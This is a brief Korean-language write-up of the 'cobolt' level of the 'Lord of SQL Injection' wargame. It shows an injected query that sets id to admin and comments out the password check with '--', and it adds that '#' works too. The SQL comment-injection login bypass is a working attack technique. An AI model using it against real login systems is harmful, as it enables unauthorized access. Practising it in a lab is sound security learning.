[ Lord of SQL Injection ] cobolt

challenge cobolt

 

리턴되는 id값이 idmin이면 문제가 해결된다.

select id from prob_cobolt where id='admin'-- a' and pw=md5('')

다음과 같이 id에 admin값을 넣어주고 뒤를 주석처리 해주었다. 그랬더니 문제 해결~!

주석처리는 다음과 같이  -- 말고도 #으로도 가능하다.